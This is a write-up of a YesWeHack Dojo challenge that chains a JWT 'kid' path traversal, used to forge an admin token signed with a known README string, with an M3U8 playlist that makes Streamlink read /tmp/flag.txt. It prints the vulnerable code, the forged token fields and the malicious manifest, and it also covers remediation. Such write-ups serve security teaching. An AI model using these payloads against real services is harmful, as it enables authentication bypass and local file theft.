← Back to practice and write-ups

YesWeHack Dojo #52 · Report #2123-4782 · Path traversal / local file inclusion · Resolved · Medium (5.3)

StreamCore: JWT forgery and local file read

I used the JWT’s kid field to select a known README as the signing key and forged an admin token. Then I submitted an M3U8 playlist that made Streamlink read the challenge flag as a local media segment.

View report #2123-4782 on YesWeHack

What was the challenge?

The application accepted a filename, an M3U8 playlist, and a JWT. A valid admin token was required before the playlist was written to disk and processed. The goal was to retrieve a flag stored in /tmp/flag.txt.

The Dojo settings exposed the setup and application source, so the first step was to map the files and follow the request from authentication to playlist processing.

1. User-controlled JWT key selection

The verifier read kid from the unverified JWT header and inserted it directly into a filesystem path. There was no allowlist, path normalization check, or fixed map between key identifiers and key material.

def load_key(kid: str) -> bytes:
    with open(f"/tmp/keys/{kid}.txt", "rb") as f:
        return f.read()

def verify_token(token: str) -> dict:
    header = jwt.get_unverified_header(token)
    kid = header.get("kid")
    key = load_key(kid)
    return jwt.decode(token, key, algorithms=["HS256"])

Supplying ../README as the identifier changed the resolved key path from the intended directory to a known file:

/tmp/keys/../README.txt  →  /tmp/README.txt

2. Turning a predictable file into the signing key

Path traversal alone was not enough: the selected file also needed predictable content so that I could reproduce the server's HMAC signature. The setup code created the README at a fixed path with a fixed string:

streamcore is a new project developed to handle u3m8 files more easily.

That string became the HS256 secret. I could therefore sign a token with kid set to ../README and the visible authorization claim set to {"isadmin": true}. The server loaded the same README content and accepted the forged signature.

Header:  {"alg":"HS256","kid":"../README"}
Payload: {"isadmin":true}
Secret:  streamcore is a new project developed to handle u3m8 files more easily.

3. Local file inclusion through the HLS manifest

After authentication, the application wrote the supplied playlist to /tmp/<filename>.m3u8 and passed it to Streamlink. The attacker controlled the manifest body, including its segment URI.

filename_path = f"/tmp/{filename}.m3u8"
with open(filename_path, "w") as f:
    f.write(content)

streams = streamlink.streams(f"hls://file:///{filename_path}")
fd = streams["best"].open()
chunk = fd.read(1024 * 1024).decode("UTF-8")

A minimal playlist could point its media segment at the local flag. Streamlink followed the file:// URI, and the application returned the bytes it read.

#EXTM3U
#EXT-X-TARGETDURATION:10
#EXTINF:10.0,
file:///tmp/flag.txt
#EXT-X-ENDLIST

4. The complete chain

These were the steps in my final request:

  1. Set the JWT kid to ../README.
  2. Sign an admin claim with the known README content.
  3. Submit the forged token with an M3U8 manifest referencing the flag.
  4. Let Streamlink read the local file as the playlist's media segment.
{
  "filename": "exploit",
  "content": "#EXTM3U\n#EXT-X-TARGETDURATION:10\n#EXTINF:10.0,\nfile:///tmp/flag.txt\n#EXT-X-ENDLIST",
  "token": "<JWT signed with the known README content>"
}

The authentication bypass reached the privileged processing path, and the manifest then turned that access into an arbitrary local-file read.

Impact

  • Authentication bypass: a forged admin JWT granted access to privileged functionality.
  • Local-file read: any file readable by the application process could potentially be returned through a crafted manifest.
  • Combined impact: secrets, configuration, keys, and other local application data could become reachable.

Remediation

  • Map JWT key identifiers to fixed keys instead of composing file paths from header values.
  • If file-backed keys are required, allowlist identifiers and verify the resolved path remains inside the key directory.
  • Reject local-file and other unapproved URI schemes in user-supplied HLS manifests.
  • Process untrusted media in a sandbox without access to application secrets or sensitive filesystem paths.

Key lessons

  • An unverified JWT header must never directly control key lookup.
  • A predictable local file can become key material when path traversal reaches it.
  • File validation must account for the behavior of the downstream parser.
  • Chaining modest primitives can create a complete authentication-bypass and data-read path.